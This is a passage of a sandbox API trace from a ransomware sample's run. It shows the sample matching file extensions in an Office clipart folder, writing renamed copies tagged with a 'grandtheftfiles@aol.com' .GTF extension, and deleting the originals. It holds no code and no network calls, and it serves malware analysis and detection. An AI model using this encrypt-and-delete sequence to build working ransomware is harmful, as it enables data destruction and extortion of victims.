	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".1cd") returned 4
	[0091.224] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".jpg") returned 4
	[0091.224] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.224] lstrlenW (lpString=".doc") returned 4
	[0091.224] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.224] lstrlenW (lpString=".docx") returned 5
	[0091.225] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0091.225] lstrlenW (lpString=".pdf") returned 4
	[0091.225] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.225] lstrlenW (lpString=".xls") returned 4
	[0091.225] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.225] lstrlenW (lpString=".xlsx") returned 5
	[0091.225] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0091.225] lstrlenW (lpString=".ppt") returned 4
	[0091.225] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.225] lstrlenW (lpString=".zip") returned 4
	[0091.225] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.225] lstrlenW (lpString=".rar") returned 4
	[0091.225] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.225] lstrlenW (lpString=".bz2") returned 4
	[0091.225] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.225] lstrlenW (lpString=".7z") returned 3
	[0091.225] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.225] lstrlenW (lpString=".dbf") returned 4
	[0091.225] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.225] lstrlenW (lpString=".1cd") returned 4
	[0091.225] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0091.225] lstrlenW (lpString=".jpg") returned 4
	[0091.225] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.225] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.225] lstrlenW (lpString="J0099165.JPG") returned 12
	[0091.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.226] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=50490) returned 1
	[0091.226] CloseHandle (hObject=0x2d0) returned 1
	[0091.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0091.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.227] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.227] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.227] GetLastError () returned 0x0
	[0091.227] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0091.229] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xc540, lpOverlapped=0x0) returned 1
	[0091.231] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.231] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.231] SetEndOfFile (hFile=0x35c) returned 1
	[0091.231] CloseHandle (hObject=0x35c) returned 1
	[0091.231] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.232] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.233] CloseHandle (hObject=0x2d0) returned 1
	[0091.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0091.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.233] lstrlenW (lpString=".doc") returned 4
	[0091.233] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.233] lstrlenW (lpString=".docx") returned 5
	[0091.233] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0091.233] lstrlenW (lpString=".pdf") returned 4
	[0091.233] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.233] lstrlenW (lpString=".xls") returned 4
	[0091.233] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.233] lstrlenW (lpString=".xlsx") returned 5
	[0091.233] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0091.233] lstrlenW (lpString=".ppt") returned 4
	[0091.233] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.233] lstrlenW (lpString=".zip") returned 4
	[0091.234] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.234] lstrlenW (lpString=".rar") returned 4
	[0091.234] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.234] lstrlenW (lpString=".bz2") returned 4
	[0091.234] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.234] lstrlenW (lpString=".7z") returned 3
	[0091.234] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString=".dbf") returned 4
	[0091.234] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString=".1cd") returned 4
	[0091.234] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString=".jpg") returned 4
	[0091.234] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString=".doc") returned 4
	[0091.234] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.234] lstrlenW (lpString=".docx") returned 5
	[0091.234] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0091.234] lstrlenW (lpString=".pdf") returned 4
	[0091.234] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.234] lstrlenW (lpString=".xls") returned 4
	[0091.234] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.234] lstrlenW (lpString=".xlsx") returned 5
	[0091.234] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0091.234] lstrlenW (lpString=".ppt") returned 4
	[0091.234] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.234] lstrlenW (lpString=".zip") returned 4
	[0091.234] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.235] lstrlenW (lpString=".rar") returned 4
	[0091.235] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.235] lstrlenW (lpString=".bz2") returned 4
	[0091.235] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.235] lstrlenW (lpString=".7z") returned 3
	[0091.235] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.235] lstrlenW (lpString=".dbf") returned 4
	[0091.235] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.235] lstrlenW (lpString=".1cd") returned 4
	[0091.235] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0091.235] lstrlenW (lpString=".jpg") returned 4
	[0091.235] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.235] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.235] lstrlenW (lpString="J0099166.JPG") returned 12
	[0091.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.236] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=64767) returned 1
	[0091.236] CloseHandle (hObject=0x2d0) returned 1
	[0091.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0091.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.236] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.236] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.237] GetLastError () returned 0x0
	[0091.237] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0091.247] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0091.249] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.249] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.249] SetEndOfFile (hFile=0x35c) returned 1
	[0091.249] CloseHandle (hObject=0x35c) returned 1
	[0091.249] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.250] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.251] CloseHandle (hObject=0x2d0) returned 1
	[0091.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.251] lstrlenW (lpString=".doc") returned 4
	[0091.251] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.251] lstrlenW (lpString=".docx") returned 5
	[0091.251] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0091.251] lstrlenW (lpString=".pdf") returned 4
	[0091.251] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.251] lstrlenW (lpString=".xls") returned 4
	[0091.251] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.251] lstrlenW (lpString=".xlsx") returned 5
	[0091.251] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0091.251] lstrlenW (lpString=".ppt") returned 4
	[0091.251] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".zip") returned 4
	[0091.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString=".rar") returned 4
	[0091.252] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString=".bz2") returned 4
	[0091.252] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.252] lstrlenW (lpString=".7z") returned 3
	[0091.252] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".dbf") returned 4
	[0091.252] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".1cd") returned 4
	[0091.252] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".jpg") returned 4
	[0091.252] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".doc") returned 4
	[0091.252] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.252] lstrlenW (lpString=".docx") returned 5
	[0091.252] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0091.252] lstrlenW (lpString=".pdf") returned 4
	[0091.252] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString=".xls") returned 4
	[0091.252] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString=".xlsx") returned 5
	[0091.252] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0091.252] lstrlenW (lpString=".ppt") returned 4
	[0091.252] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.252] lstrlenW (lpString=".zip") returned 4
	[0091.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.252] lstrlenW (lpString=".rar") returned 4
	[0091.252] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.253] lstrlenW (lpString=".bz2") returned 4
	[0091.253] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.253] lstrlenW (lpString=".7z") returned 3
	[0091.253] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.253] lstrlenW (lpString=".dbf") returned 4
	[0091.253] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.253] lstrlenW (lpString=".1cd") returned 4
	[0091.253] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0091.253] lstrlenW (lpString=".jpg") returned 4
	[0091.253] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.253] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.253] lstrlenW (lpString="J0099168.JPG") returned 12
	[0091.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.253] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=20179) returned 1
	[0091.253] CloseHandle (hObject=0x2d0) returned 1
	[0091.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0091.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0091.254] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.254] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0091.254] GetLastError () returned 0x0
	[0091.254] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0091.265] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0091.266] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.266] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.266] SetEndOfFile (hFile=0x35c) returned 1
	[0091.266] CloseHandle (hObject=0x35c) returned 1
	[0091.266] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.266] SetEndOfFile (hFile=0x2d0) returned 1
	[0091.267] CloseHandle (hObject=0x2d0) returned 1
	[0091.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".doc") returned 4
	[0091.268] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.268] lstrlenW (lpString=".docx") returned 5
	[0091.268] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0091.268] lstrlenW (lpString=".pdf") returned 4
	[0091.268] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.268] lstrlenW (lpString=".xls") returned 4
	[0091.268] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.268] lstrlenW (lpString=".xlsx") returned 5
	[0091.268] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0091.268] lstrlenW (lpString=".ppt") returned 4
	[0091.268] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".zip") returned 4
	[0091.268] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.268] lstrlenW (lpString=".rar") returned 4
	[0091.268] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.268] lstrlenW (lpString=".bz2") returned 4
	[0091.268] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.268] lstrlenW (lpString=".7z") returned 3
	[0091.268] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0091.268] lstrlenW (lpString=".dbf") returned 4
